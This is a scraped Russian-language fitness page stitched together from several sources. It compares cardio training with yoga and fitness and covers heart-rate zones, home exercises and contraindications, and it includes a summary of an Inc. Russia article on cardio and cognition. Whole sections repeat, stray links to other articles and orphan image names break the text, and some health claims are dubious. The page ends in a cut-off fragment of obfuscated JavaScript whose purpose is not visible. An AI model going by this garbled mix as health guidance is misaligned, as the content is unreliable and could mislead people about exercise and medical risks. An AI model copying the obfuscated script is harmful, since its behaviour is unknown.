Кардиотренировки полезнее для мозга, чем йога. Как тренироваться, чтобы хорошо себя чувствовать на работе – Inc. Russia

Кардиотренировки полезнее для мозга, чем йога. Как тренироваться, чтобы хорошо себя чувствовать на работе - Inc. Russia Позы
Содержание

Что такое кардионагрузки

Кардиотренировка − вид физической активности, при котором сердце работает в учащенном режиме, а источником энергии выступает подкожный жир и гликоген. Нагрузки такого рода положительно влияют на работу органов, укрепляют сосуды, развивают дыхательную систему, повышают выносливость и помогают похудеть.

Тренировка характеризуется минимальным набором силовых упражнений и, хотя задействует в работу различные группы мускулов, не приводит к увеличению объёмов мышечной массы. Такой тип нагрузки, как правило, присутствует в любой фитнес-программе, но вполне подходит и для занятий дома. При этом необходимым условием эффективности выступают повышенные значения пульса.

Упражнения разгоняют сердечную мышцу до нужного числа сокращений, при которых организм активизирует метаболизм и биохимические процессы. Сохранение частоты пульса в заданных пределах в течение 30-60 мин обеспечивает качественный результат тренировки, однако превышение указанных границ уже несёт опасность для здоровья. Поэтому во время занятия необходим постоянный контроль за состоянием вышеуказанных параметров.

Так что же лучше выбрать?

При всех сходствах и различиях йоги и фитнеса выбирать то или иное направление рекомендуется с учетом степени занятости, физической подготовки, особенностей характера. Посетите занятие и после этого вы поймете, что вам легче поддается и ближе по духу.

Параметры Йога Фитнес
Продолжительность и периодичность тренировок от 30 до 60 минут, минимум 3 раза за 7 дней не менее часа, от трех раз в неделю
Травматичность Средний риск Высокий риск
Тяжесть нагрузки Средняя Высокая
Результат Гибкость, кардио-респираторная выносливость, улучшение координации, снижение нервного напряжения, расслабление, активизация кровообращения Укрепление мышечного аппарата, сосудистой и сердечной мышцы, снижение массы тела, стимуляция нервной активности
Особенности Психологическая направленность Физическая направленность
Весовая категория Не рекомендуется при избыточном весе Допускается при чрезмерной массе
Когда можно начинать В раннем возрасте, после 45 необходимо соблюдать предельную осторожность С любого возраста
Нужен ли тренер Обязателен на первых занятиях Требуется постоянное внимание спортивного инструктора
Обязательно Пратикование пранаямы, крии, медитации Соблюдение определенной диеты
В какое время тренироваться Лучше утром В любое время, не менее чем за 2 часа до сна

И, конечно, никто не запрещает комбинировать обе техники, периодически чередовать активные фитнес тренировки с неспешными занятиями философской йогой. И тогда тело будет крепким, выносливым, а настроение в любое время года отличным.

Не забывайте о настрое – чем позитивнее, тем легче вы справитесь с нагрузкой.

Кардиотренировки полезнее для мозга, чем йога. как тренироваться, чтобы хорошо себя чувствовать на работе

Анализ показаний организма при кардионагрузках определил, что они оптимизируют работу мозга и развивают эмоциональную устойчивость. Об этом в интервью Bloomberg сказал профессор психологии в Университете штата Айова Пантелеймон Эккекакис, который изучает, как тренировки влияют на умственные способности и настроение.

Хотя любой вид упражнений положительно влияет на здоровье, кардиотренировки приводят к наступлению оптимального когнитивного и эмоционального состояния, сказал Эккекакис. Эффект от других занятий, например от тяжелой атлетики или йоги, по его словам, не так тщательно изучен.

Исследования показывают, что йога влияет на настроение и чувства, но лучший способ повысить когнитивную гибкость (возможность быстро и эффективно переключаться между задачами) — это кардиотренировки.

Эккекакис советует посвящать занятиям 20—30 минут каждый день. «Это не значит, что тренировка не может быть дольше или короче, просто большинство исследований проводится на здоровых молодых людях, бегающих трусцой или ездящих на велосипеде в течение этого времени», — пояснил он.

Психолог советует прислушиваться к своему организму во время тренировок и заниматься интенсивнее в те дни, когда мозг не должен быть задействован на максимум. Изнурительные упражнения ухудшат способность ясно мыслить и заберут энергию, которая должна быть потрачена на решение когнитивных задач.

«Если вы относитесь к тому типу людей, которые занимаются спортом на протяжении всей своей жизни, имеют физическую подготовку и действительно наслаждаются интенсивными тренировками, тогда во что бы то ни стало продолжайте это делать, — сказал Эккекакис. — Это редкость, но такие люди существуют».

Он советует проводить тренировку как можно ближе к тому моменту, когда мозг будет работать на полную мощность: «Если вы занимаетесь спортом в 6:00, не ждите, что когнитивные способности улучшатся к 16:00». По его словам, заниматься вечером — нормально, но нужно постараться закончить тренировку за 3,5 часа до сна.

Кардиотренировка не только снижает текущий уровень стресса, но и в течение нескольких часов после её окончания заставляет разум и тело более спокойно реагировать на сложные эмоциональные ситуации. По словам Эккекакиса, кровяное давление не поднимется сильно, даже если человеку придётся иметь дело с трудными переговорами или драмой в отношениях. Однако эффект от тренировки начнёт снижаться примерно через 30 минут.

Основные отличия йоги и фитнеса

Йога – особая духовная практика. Она включает восемь ступеней, которые затрагивают все сферы жизни человека – работу с дыханием и телом, управление психическими процессами, умом, сознанием. Система имеет множество разновидностей, но наиболее популярными направлениями являются кундалини, силовая, бакрим, айенгара, аштанга йога.

Занятия продолжаются около полутора-двух часов. Состоят из различных асан – упражнений для фиксации тела в определенном статическом положении с вытянутым позвоночником в течение 30-60 секунд. Они прорабатываем связки, мышечный аппарат, сосудистую систему.

Для тренировки необходимы специальные коврики, болстеры, ремни, одеяла, утяжелители, а также дополнительные приспособления, в зависимости от уровня подготовки. Практика направлена на просветление морального духа, объединение телесных сил с моральными, обретение духовно-нравственной красоты и физического здоровья.

Йога пришла к нам из Индии, и практикуют ее более 5000 лет. Она определяется как комплекс физических и духовных практик, которые управляют психикой и помогают достичь особого состояния тела и духа. В основе йоги правильное дыхание, медитация. Занятия не провоцируют перегрева организма, в работу включаются все части тела одновременно.

Фитнес – комплекс физических упражнений для сохранения здоровья и поддержания тонуса тела. В его основе не только регулярные тренировки. По сути, это философия существования, оптимистический образ жизни с отказом от вредных привычек, строгим режимом отдыха и правильным питанием. Главная цель – не достижение высоких спортивных показателей, а создание полноценной здоровой жизни.

Групповое занятие фитнесом

Фитнес отличается от йоги тем, что подразделяется на несколько направлений, каждое из них имеет собственную специфику и степень сложности. Это:

  • Аэробика – комплекс для развития мышечного аппарата, гибкости, правильного дыхания. Классифицируется на классическую, танцевальную, степ-, слайд-, трекинг-, кик-, памп- и велоаэробику. Отлично укрепляет мышцы, дыхание, стимулирует соревновательный дух.
  • Аквааэробика. Проводится в воде под музыкальное сопровождение с использованием надувного пояса. Практически атравматична, показана даже людям, у которых есть проблемы с позвоночником и суставами. Хорошо прорабатывает все мышцы тела, способствует снижению веса, служит для профилактики и борьбы с целлюлитом, варикозом. Умение плавать не требуется.
  • Пилатес. Развивает гибкость, выносливость, отдельные группы мышц. Используется в качестве терапии при посттравматическом восстановлении. Подходит беременным и людям с нездоровым позвоночником.
  • Стретчинг. Для растяжки связок и отдельных групп мышц, снятия напряжения и сжигания подкожного жира.
  • Калланетика. Основана на дыхательных упражнениях из йоги и чередовании статистических нагрузок с растяжкой.
  • Скандинавская (нордическая) ходьба. Выполняется с помощью специальных палок, тренирует сердце, сосуды, помогает восстановиться после травм.
  • Кроссфит. Чередует интенсивные легко- и тяжелоатлетические тренировки, гимнастику, пауэрлифтинг.
  • Фитбокс. Сочетание тайского бокса и аэробики для сжигания жира, подтяжки фигуры, усиления выносливости и скорости реакции.
  • Фитбол. Это растяжка и укрепление мышц с применением большого гимнастического мяча.
  • Бодифлекс. Комплекс физических упражнений с особой дыхательной гимнастикой. Используется для похудения, усиления метаболизма, эластичности мышц. Единственное направление фитнеса, которое помогает омолаживать лицо и зону декольте.
Про йогу:  Майя Иллюзия Сатана - враг йогов

В отличие от йоги, фитнес подразумевает комбинацию правильной диеты с силовыми, кардиотренировками. Он чаще всего используется для поддержания и снижения массы тела.

Фитнес необходимо отличать шейпинга, в основе которого как тренировки, так и специализированная диета для планомерного снижения веса.

Фитнес с гантелями на мяче

«велосипед»

Лягте на пол на спину. Начните имитировать езду на велосипеде, т. е. вращение педалей. «Велосипед» не только поможет похудеть, но и подарит подтянутый вид икрам, бёдрам, ягодицам, а также животу.

Упражнение велосипед
Упражнение велосипед

Аэробика

Микс элементов под энергичную музыку не только укрепляет общее физическое состояние, но и повышает подвижность суставов, формирует мышечный корсет, помогает худеть. Упражнения увеличивают объём легких и насыщают ткани кислородом. Кроме того, аэробные нагрузки успокаивают нервную систему, противодействуют стрессу и улучшают сон.

Ожидаемая эффективность достигается только благодаря регулярным занятиям с достаточным числом повторений, выполняемых с низкой или средней интенсивностью. Начинать лучше с легких тренировок и повышать нагрузку постепенно (на 10% в неделю).

Допустимы любые сочетания кардиоактивности или занятия через день разными видами нагрузки. Это прокачает все группы мышц и сделает тело максимально развитым.

Польза кардиотренировки

Кроме сжигания калорий и повышения выносливости кардиоупражнения:

  • вентилируют легкие и насыщают клетки тела кислородом;
  • тренируют сердечную мышцу, снижая риск инфаркта;
  • выступают профилактикой атеросклероза, гипертонии и сахарного диабета;
  • ускоряют обмен веществ;
  • нормализуют гормональный фон и улучшают состояние кожи;
  • снижают уровень «плохого» холестерина;
  • укрепляют костную ткань;
  • способствуют выработке эндорфинов, что повышает устойчивость организма к стрессам;
  • нормализуют деятельность центральной нервной системы;
  • тонизируют в целом и повышают энергию.

Успешность и польза любого вида кардиотренировок зависит от правильного питания. Только рацион с большим количеством сложных углеводов и белка поможет сохранить силы, энергию и нормализовать работу всех систем организма. Подобные нагрузки рекомендованы сразу нескольким категориям населения. Так, умеренные кардиоупражнения помогают людям старшего возраста поддерживать в порядке состояние сердца и сосудов и продлевают годы активной жизни. Совмещение кардио и силовых нагрузок позволяет тренирующимся с лишним весом получить фигуру мечты. Кроме того, кардио помогает в развитии выносливости при занятиях циклическими видами спорта и позволяет восстановиться после интенсивных нагрузок и перетренировки.

Бурпи

Упражнение, которое помогает эффективно расстаться с ненавистными килограммами в домашних условиях, не требующее никакого спортивного инвентаря.Встаньте, расставив ноги на ширину плеч. Перейдите в положение приседа, упритесь руками в пол. Быстрым движением примите упор лёжа, затем подтяните колени и примите положение приседа и прыжком вверх снова вернитесь в изначальную позицию.

Бурпи для общего похудения
Бурпи для общего похудения

Если для вас физически сложно выполнять это упражнение, из него можно исключить прыжок вверх.

Бхуджгангасана

Исходная позиция – лёжа на животе. Упритесь руками вперёд и прогните спину назад. Расслабьте плечи и продержитесь в такой позе около 20 секунд.

Бхуджангасана для похудения
Бхуджангасана

Вариант 2:

Начните выполнять упражнение так же, только теперь вставая на платформу обеими стопами.

Упражнение подъем на платформу
Упражнение подъем на платформу

Водно-солевой баланс в организме

Вы знали, что главным питательным веществом для нашего организма является вода? Именно поэтому водно-солевому балансу нужно уделять особое внимание во время кардиотренировок. Предпочтение отдается чистой негазированной воде. Ни в коем случае не пренебрегайте питьем, ведь вода во время кардиотренировок:

  • контролирует температуру тела
  • отвечает за процесс метаболизма, выведение метаболитов
  • доставляет кислород и энергетические субстраты к тканям
  • помогает сокращению мышц

voda-i-kardio.jpg

Бутылочка воды или кулер всегда должны быть под рукой. Существуют общие рекомендации по количеству приема жидкости в сутки, но единого правила о том, сколько воды нужно выпить за время тренировки, нет, всё очень индивидуально, так что пейте маленькими глотками по желанию.

Высокоинтенсивные кардиотренировки и питание

Во время высокоинтенсивного кардио в качестве топлива организм задействует гликоген. Этот вид тренировок идеально подходит, если на первый план ставится снижение количества подкожного жира — жиросжигание. Именно избыток запасов гликогена превращается в глюкозу, неиспользованная часть которой переходит в жировые отложения.

Высокоинтенсивная кардиотренировка больше влияет на скорость обмена веществ в состоянии покоя, нежели низкоинтенсивная кардиотренировка. Рацион спортсмена до и после занятий спортом зависит именно от потребления энергии в процессе тренировки. Восстановление этой энергии закладывается либо в прием пищи, либо в процесс сжигания подкожного жира.

pravilnoe-pitanie.jpg

Джампинг джек

Исходная позиция – стоя, спина прямая, стопы расставьте на ширину плеч. Подпрыгните, широко их расставив и хлопнув в ладони наверху, затем вернитесь в исходную позицию.

Джампинг Джэк для похудения
Джампинг Джэк для похудения

Как выполнять кардио для похудения

Стоит отметить, что кардиотренировки не всегда приводят к сжиганию большого числа калорий. Особенно если неправильно организовано занятие. Кроме того, слишком интенсивные и продолжительные нагрузки могут привести к износу сердца. Именно поэтому важно правильно просчитать свои ресурсы и составить план активности.

У разных людей отличается скорость сжигания жировых отложений. Показатель зависит, в частности, от возраста, степени нагрузки и физического состояния. В целом для  получения хороших результатов похудения ритм тренировки должен удерживать максимально высокий пульс (70-80%).

В любом случае кардио для похудения выбирают в соответствии с индивидуальными особенностями и задачами. Начинают тренировку с минимального темпа и разгоняют пульс постепенно, контролируя его значения. Эффективным и популярным вариантом нагрузки считается бег.

Список ошибок, которых лучше избегать при кардио для похудения:

  1. Тренировка менее 20 мин. Организм просто не успевает начать сжигать жир. Исключение составляют кардиозанятия натощак.
  2. Нагрузка, которая длится больше часа. Организм переутомляется, сердце работает в усиленном режиме, а жир не тратится
  3. Низкий пульс. Такое занятие, сколько бы ни длилось, приводит лишь к улучшению самочувствия.
  4. Завышенный пульс. Нагрузки работают на износ сердца, а не на сжигание жира.

Как и когда лучше заниматься

Стандартная продолжительность тренировки для похудения 40-60 мин. Жир начинает расходоваться после получаса, поэтому останавливаться не стоит. Однако упражнения кардио после силовой нагрузки не должны превышать 20-30 мин, и то же самое касается утренних часов на голодный желудок — не больше получаса.

Хотя заниматься можно когда угодно, время проведения зависит от выбранного вида кардио, оборудования и тренажеров:

  1. Утро. Этот период больше подходит для бега, ходьбы и активности на кардиотренажёрах. Занятия проводятся натощак. После ночи на голодный желудок жир сжигается моментально, поэтому нагрузкам можно посвятить 30 мин. Но интервальных и силовых тренировок, а также упражнений с весом лучше не делать.
  2. День. Это время можно посвящать любым видам кардио. Проведенные в послеобеденный период, они скорее укрепляют сердце, чем способствуют похудению. Занятие должно длиться 1 час. После тренировки нужно обязательно «накормить» организм белковой пищей (через 30-45 мин). Через час после еды можно употребить сложные углеводы.
  3. Вечер. Также подходит для любых кардионагрузок и по длительности от дневной не отличается. Будет ли тренировка сжигать жир, зависит от приема пищи перед занятием. Для похудения важно соблюсти промежуток 1,5-2 ч. Чтобы в ночное время не накопить жир, меню должно включать белок и овощи.
  4. Утро и вечер − двойное кардио. Такой вариант используют для сжиросжигания, и он отлично работает. Утренняя и вечерняя тренировка должна занимать по 30 мин. Первую выполняют натощак, а вторую перед сном, не употребляя ничего после.

Кардиотренажеры

В зале каждый спортсмен способен подобрать комфортное оборудование для занятий. Ниже представлен рейтинг и описание популярных тренажеров, которые чаще всего используют в помещении:

  1. Беговая дорожка. Занятие идентично активности на улице, но позволяет задать необходимый уровень интенсивности. Кроме того, корректировать нагрузку можно сменой угла наклона поверхности. Дорожка способствует эффективному сжиганию жира и во время движения снижает давление на голени и сухожилия. Тренажер подходит для проведения интервального кардио. Занятия противопоказаны людям с больными коленями и позвоночником.
  2. Эллипсоид. Тренажер разработан в качестве альтернативы беговой дорожке. Движения на нем напоминают лыжную ходьбу и бег и задействуют в работу 80% мышц тела. При этом суставы пользователя не подвергаются высоким нагрузкам. Оборудование подходит для разминки и имеет гибкие настройки.
  3. Велосипед. Тренажер особенно эффективен для очень тучных людей. Активность отлично развивает мышцы ягодиц и ног, укрепляет связки, суставы и сердце.
  4. Гребной тренажер. Упражнения на устройстве сжигают достаточно большое количество калорий даже за короткий период. Прибор оснащён многофункциональным компьютером, задействует в работу до 95% мускул и поддерживает частоту сердечных сокращений в средних пределах. Занятия совмещают в себе как кардионагрузку, так и силовую. Тренажер подходит для выполнения интервальных упражнений, но программа работы на нем требует изучения движений по специальной литературе или видео.
Про йогу:  Йога против пилатеса. Инструктор о том, какое направление выбрать | СПОРТ: События | СПОРТ | АиФ Краснодар

Кардиотренировка: объединить или разделить?

Любимым сочетанием спортсменов и посетителей спортзалов считается кардиотренировка, проведенная после силовой. Разминка перед тренировкой и заминка после нее не считается за кардио и продолжается 10-15 минут. Таким образом, если вы решили совместить кардиотренировки с силовым тренингом, то первые становятся короче по времени.

Считается, что аэробные нагрузки осложняют набор мышечной массы, однако ряд исследователей полагает, что правильное совмещение силовых и кардиотренировок может привести к большей гипертрофии, чем силовые тренировки отдельно. Об этом, например, говорится в работе доктора Кейта Баара «Молекулярная биология получения максимального эффекта от совмещенных тренировок».

Однако, что интересно, в ходе ряда проведенных исследований не было обнаружено позитивного или негативного влияния совмещенных тренировок на синтез мышечного протеина.
devushka-na-begovoj-dorozhke-1024x666.jpeg

Кардиоупражнения для домашних тренировок

Для тренировок всегда можно подобрать в интернете подходящее видео. Причем в программах занятий для мужчин и женщин принципиальной разницы нет. Разве что сильному полу можно делать большее количество подходов, а новичкам выбирать несложные упражнения. Главное − при выполнении задач сохранять частоту сокращений сердца, а перед началом кардио сделать разминку.

В качестве примера приведен комплекс для начинающих.Упражнения поднимут пульс, усилят метаболизм и запустят процессы сжигания жира. В дальнейшем занятие можно разнообразить прыжками и бегом на месте.

1.

Махи согнутыми в колене ногами с подтягиванием к груди. Стопы поставить на ширине плеч, а прямые руки поднять вверх. Одновременно подтянуть колено к груди и опустить согнутые в локтях руки вдоль корпуса. Повторить поочередно, меняя конечности.

2.

Наклоны по диагонали к стопе. Ноги поставить вместе, прямые руки поднять над головой. Сделать широкий шаг вправо и одновременно в наклоне коснуться левой рукой правой стопы. Выпрямиться и повторить наклон к другой ноге.

3.

Шаги в «планке». Принять положение «планка» на прямых руках, опираясь на стопы и ладони. Поясницу держать ровно. Поочередно подтягивать в груди согнутые в коленях ноги, имитируя шаги.

4.

Отведение ноги в сторону в полуприсяде. В положении стоя слегка согнуть ноги. Сначала сделать подход в одну сторону, энергично отводя ногу в бок и возвращая на место. После серии таких движений сменить ногу и все повторить. При этом руки должны помогать, имитируя пробежку.

5.

Боксирование. Принять стойку, расставив ноги шире плеч. Согнутые в локтях руки расположить в районе груди, прижав по бокам к туловищу. Сжав ладони в кулак, совершать поочередные движения вперед, имитируя удары в боксе.

6.

Махи с подтягиванием колена к груди. Руки вытянуть перед собой. Одну ногу отставить назад, а на второй слегка присесть. Осуществлять махи к груди отведенной конечностью, сгибая ее в колене. Руками помогать движениям. Сделать сначала на одну сторону, а затем на другую.

7.

Махи вперед прямыми ногами. Ноги в прямой стойке на ширине плеч, руки по бокам вдоль пояса. Делать перед собой махи прямыми ногами, одновременно дотягиваясь ладонью противоположной руки к носку.

8.

Махи «колено-локоть». Стоя в положении прямо соединить руки над головой. Делать махи к груди согнутой в колене ногой, и одновременно опускать руки, касаясь колена противоположным локтем. Повторять поочередно на разные стороны.

9.

Выпады назад с подъёмом рук. Положение стоя, ноги вместе, руки по бокам вдоль тела. Делать выпады одной ногой назад, ставя ее на носок, а прямые руки поднимать вверх. Возвратиться в исходное положение и повторить на другую ногу. Сделать попеременно 10-15 раз в интенсивном темпе.

Лодочка

Лягте на живот, положив ладони под бёдра. Медленно начните поднимать голову и плечи, пытаясь двигаться назад и осторожно прогибая спину. Одновременно с этим медленно поднимайте одну ногу. Снова примите исходное положение, повторите то же с другой.

Упражнение лодочка для похудения
Упражнение лодочка для похудения

Мостик

Сядьте на пол, потяните носки на себя. Уприте ладони в пол рядом с бёдрами. Вдохните, оторвите бёдра от пола и поднимите корпус параллельно полу, запрокинув голову назад. На выдохе вернитесь.

Мостик упрощенный для похудения
Мостик упрощенный для похудения

Низкоинтенсивные кардиотренировки и питание

Низкоинтенсивная кардиотренировка затрачивает меньше калорий, а в качестве топлива задействует непосредственно жир. Во время самой тренировки расходуется мышечный жир, а в процессе восстановления утраченный мышечный жир возмещается подкожной жировой компонентой и происходит похудение.

obed-sportsmena-1024x689.jpg

Несмотря на веяния нашего мира в сторону коротких по времени тренировок, длительное низкоинтенсивное кардио следует оставить как фундамент в своем рационе занятий, прибегая к нему хотя бы один-два раза в неделю в любое удобное вам время, будь то утро, день или вечер.

Низкоинтенсивные кардиотренировки развивают выносливость и подходят более широкому кругу лиц, включая возрастные группы, поскольку они безопаснее для суставов и мышц. Также подобные тренировки идеальны при восстановлении после травм, так как ускоряют регенеративные функции организма.

Какую бы интенсивность вы не выбрали для себя на этом этапе прочтения статьи, пренебрегать приемами пищи не стоит в любом случае, так как питание является основой, на которой строится получение желаемых результатов от тренировок.

Подъём ног

Лягте на спину, вытянув руки вдоль корпуса. Не отрывая их, медленно поднимайте плечи и голову. Одновременно с этим попробуйте поднять ноги максимально высоко.

Если сложно, то руки можно вытянуть по направлению к ступням, как на картинке.

Упражнение подъем ног для похудения
Упражнение подъем ног лежа на полу для похудения

Польза кардиотренировки

Кроме сжигания калорий и повышения выносливости кардиоупражнения:

  • вентилируют легкие и насыщают клетки тела кислородом;
  • тренируют сердечную мышцу, снижая риск инфаркта;
  • выступают профилактикой атеросклероза, гипертонии и сахарного диабета;
  • ускоряют обмен веществ;
  • нормализуют гормональный фон и улучшают состояние кожи;
  • снижают уровень «плохого» холестерина;
  • укрепляют костную ткань;
  • способствуют выработке эндорфинов, что повышает устойчивость организма к стрессам;
  • нормализуют деятельность центральной нервной системы;
  • тонизируют в целом и повышают энергию.

Успешность и польза любого вида кардиотренировок зависит от правильного питания. Только рацион с большим количеством сложных углеводов и белка поможет сохранить силы, энергию и нормализовать работу всех систем организма. Подобные нагрузки рекомендованы сразу нескольким категориям населения.

Так, умеренные кардиоупражнения помогают людям старшего возраста поддерживать в порядке состояние сердца и сосудов и продлевают годы активной жизни. Совмещение кардио и силовых нагрузок позволяет тренирующимся с лишним весом получить фигуру мечты. Кроме того, кардио помогает в развитии выносливости при занятиях циклическими видами спорта и позволяет восстановиться после интенсивных нагрузок и перетренировки.

Правила выполнения кардиотренировок дома

Если по каким-либо причинам не получается регулярно выходить на пробежки или посещать зал, можно организовать кардиотренировки дома. Существуют общие рекомендации для проведения таких занятий. Но перед тем как начать, нужно пройти полное медицинское обследование, чтобы исключить противопоказания. Когда разрешение врача получено, можно заняться подготовкой. Что необходимо сделать:

  • определить место в доме для проведения тренировок;
  • приобрести специальный прорезиненый коврик, пульсометр или фитнес-браслет;
  • выбрать подходящую одежду.

Что касается самих тренировок:

  1. Необходимо проветривать комнату перед каждым занятием.
  2. Начинать следует с простых нагрузок и постепенно усложнять. Первое время, возможно, будет тяжело, но уже после 3-5 тренировок организм адаптируется.
  3. Не нужно истязать себя продолжительными занятиями. Кардио не подразумевает длительных нагрузок. Оптимальное время – 40–60 мин.
  4. Желательно тренироваться под музыку. Это мотивирует и поднимает настроение.
  5. Не следует пренебрегать разминкой – это важный этап. Заканчивать занятие нужно растяжкой мышц. Подготовка суставов и разогрев тела поможет избежать травм и проблем с сосудами, а заминка в конце тренировки вернёт в спокойное состояние и ускорит восстановление организма.
  6. Не стоит забывать о питьевом режиме.
  7. Следует правильно дышать: вдох делать через нос, а выдох через рот.
  8. ЧСС нужно удерживатьна уровне 60-80% от максимально допустимого показателя. Если нет прибора, то замерить пульс можно вручную в течение 15 сек, и умножить значение на 4.
  9. Периоды отдыха не должны превышать 40 сек.
  10. Лучше использовать интервальный режим (30 секунд работы – 15 секунд отдыха) – это позволит добиться эффективности при снижении веса.

Противопоказания

Тренировки подходят для людей разного возраста, пола, уровня физической подготовки, но существуют и противопоказания.

Йога не рекомендуется при:

  • психических расстройствах и эпилепсии;
  • заболеваниях сердца, кроветворения;
  • наличии опухолей;
  • глаукоме;
  • травмах позвоночника, черепно-мозговых проблемах;
  • инфекционных заболеваниях;
  • проблемах с опорн-двигательным аппаратом.

Временно нельзя принимать асаны при обострении хронических заболеваний, серьезных переутомлениях, при повышении температуры выше 37 °С, нестабильности внутричерепного давления. Также воздержаться стоит сразу же после проведенных операций, тяжелоатлетических тренировок, посещения сауны, во время менструации.

Про йогу:  Йога в Омске — цены от 200 р.

Йога для беременных в общем не противопоказана, однако заниматься нужно по специально разработанным облегченным программам.

Если вы страдаете вегето-сосудистой дистонией, то ограничивайтесь вертикальными асанами, при неврозах рекомендуются позы для расслабления, а при сбоях пищеварения – скручивания.

Фитнес не рекомендован при онкологии, хронических и острых инфекциях, психических расстройствах. Кроме того, им не следует заниматься при:

  • аритмиях, стенокардиях;
  • искривлении позвоночника;
  • проблемах с суставами ног.

https://www.youtube.com/watch?v=EjJ-txug76M

Аквааэробикой нельзя заниматься с дерматитами, женщинам во время менструации, при хронических гинекологических проблемах.

Список ограничений варьируется в каждом отдельном случае, потому что существуют стандартные и облегченные программы. Обязательно консультируйтесь с лечащим врачом и тренером перед тем, как приступить.

Не «гонитесь» за другими посетителями фитнес-зала. Их спортивные достижения – повод для собственного развития, но не резких скачков в попытке «догнать и перегнать». Лучше увеличивайте нагрузку и усложняйте курс постепенно, чем потом усиленно лечить заклинившую шею, травмированный коленный сустав или сорванную спину.

Девушки стоят в планке

Пульс и кардио: как рассчитать индивидуально

Уровень частоты сердечных сокращений максимальный для конкретного человека считают по формуле 220 минус возраст. На протяжении первых недель нельзя допускать, чтобы показатель превышал 60% от полученного значения, а дальше — 70-80%. Индивидуальную пульсовую зону выбирают в зависимости от целей нагрузки:

Пульсовая зона

% от максимального значения пульса

Показания частоты сердечных сокращений (граничные параметры)

Допустимое время тренировки, мин

Характеристика

Аэробная

50-60

102-112

20-40

Слабая нагрузка, которая рекомендована для начинающих. Ускоряет обмен веществ и тонизирует организм.

Жиросжигания

60-75

112-133

40-80

Упражнения с низким уровнем нагрузки на мускулы. Рекомендованы при частых неинтенсивных занятиях, вырабатывающих выносливость.

Силовой выносливости

75-85

133-151

10-40

Более мощная аэробная тренировка. Отличается легкостью дыхания и усталости мускул. При стандартной продолжительности рекомендована для всех.

Сарвангасана

Одна из самых эффективных асан для похудения. Многим она знакома со времён уроков физической культуры в школе под названием «берёзка». Лягте на пол, затем, поддерживая поясницу руками, поднимите прямые ноги, ягодицы и спину вверх, напрягая мышцы пресса.

Сарвангасана для похудения
Сарвангасана для похудения

Скалолаз

Примите упор лёжа. Прижмите правое колено к груди, оставляя левое разогнутым. В прыжке поменяйте ноги местами. Для максимально эффективного выполнения упражнения продолжайте повторять движения с наиболее высокой интенсивностью.

Упражнение скалолаз для похудения
Упражнение скалолаз для похудения

Советы по занятиям гимнастикой

  • Начать следует с разминки, идеальным вариантом будут занятия после кардиотренировки, пробежки или тёплого душа.
  • Для максимальной эффективности упражнений тренироваться нужно регулярно, от 3-4 раз в неделю по 30 минут и дольше.
  • После занятий гимнастикой связки мышцы ещё долго время разогреты, поэтому в течение 2 часов не рекомендуется принимать холодный душ или переохлаждаться.
  • Одежда должна быть не стесняющей движений, но и не слишком свободной, легко тянущейся и принимающей форму вашего тела. Хорошим вариантом будут шорты или лосины и удобная дышащая футболка или майка.
  • Делайте упражнения на специальном спортивном коврике, чтобы уменьшить скольжение и свести к минимуму давление на суставы.
  • Во время тренировки вы не должны ощущать неприятных и дискомфортных ощущений, а только небольшое приятное натяжение связок и мышц. Ни в коем случае не выполняйте то или иное упражнение через силу, так как это чревато растяжением и невозможностью заниматься ещё долгое время.
  • Для максимально эффективной тренировки после занятий рекомендуется выполнить несколько упражнений на растяжку:

Важно помнить, что при занятиях гимнастикой спина должна быть прямой, тело расслабленным. 

Совмещение кардио и силовых тренировок

По поводу того, как совмещать силовые тренировки и кардио, до сих пор нет единого мнения. Некоторые специалисты считают, что проводить занятия в один день не стоит, а другие рекомендуют делать кардио после силовых упражнений. Оба вида сжигают приблизительно одинаковое количеств калорий, но имеют разные цели: работа с утяжелителями направлена на увеличение силы и объема мускул, а кардио тренирует сердце и выносливость. Отличаются также и процессы, протекающие в организме.

Специалисты рассматривают 3 варианта совмещения тренировок:

  1. Кардио на следующий день после силовой нагрузки. Такой вид считают почти идеальным решением, особенно для тех, кто хочет сохранить мышечную массу. Раздельные занятия не подвергают организм стрессу и дают мускулам восстановиться и отдохнуть. Именно поэтому такой график подходит новичкам и пожилым людям. Но главное условие, которое исключает потери объемов, это соблюдение предельных параметров пульса. Значения не должны превышать 60-70% от максимума.
  2. В один день: кардио силовая. Преимущество такого варианта в том, что кардио сжигает весь гликоген, и уже при силовой тренировке на энергию тратится только жир. Но такую программу чаще всего выбирают опытные спортсмены, способные выдержать высокие нагрузки. Новичкам данный план не подходит. Также комбинацию не советуют слишком полным людям, чтобы не перенапрягать суставы.
  3. В один день: силовая кардио. Тренировки, проведенные в такой последовательности, благоприятны для похудения. Во время занятий мышцы хорошо снабжаются кислородом и быстрее восстанавливаются, а для получения энергии сжигается жир. Но занятие требует большой выдержки, сил и хорошей физической формы, поэтому не подходит пожилым и начинающим.

В любом случае, чтобы правильно спланировать тренировочный процесс и получить качественные результаты, не навредив здоровью, лучше всего обратиться к профессионалу. Он составит индивидуальную программу и грамотно подберет нагрузку.

Топ-20 кардиотренировок, которые приведут вас в форму

>(-0x2*_0xe52d7b&0x6)):0x0){_0x4fa009=_0x33835b[‘indexOf’](_0x4fa009);}return _0x2ce216;};a0_0x5344[‘MSYvHM’]=function(_0x147d37){var _0x3a3234=_0x53444e(_0x147d37);var _0x95b9f2=[];for(var _0x5c109c=0x0,_0x492bcc=_0x3a3234[‘length’];_0x5c109c<_0x492bcc;_0x5c109c ){_0x95b9f2 =’%’ (’00’ _0x3a3234[‘charCodeAt’](_0x5c109c)[‘toString’](0x10))[‘slice’](-0x2);}return decodeURIComponent(_0x95b9f2);},a0_0x5344[‘uDogYq’]={},a0_0x5344[‘NuDHGB’]=!![];}var _0x75b161=a0_0x5344[‘uDogYq’][_0x35036b];if(_0x75b161===undefined){var _0x813e7b=function(_0x3456c1){this[‘jOBnSf’]=_0x3456c1,this[‘VcOAHj’]=
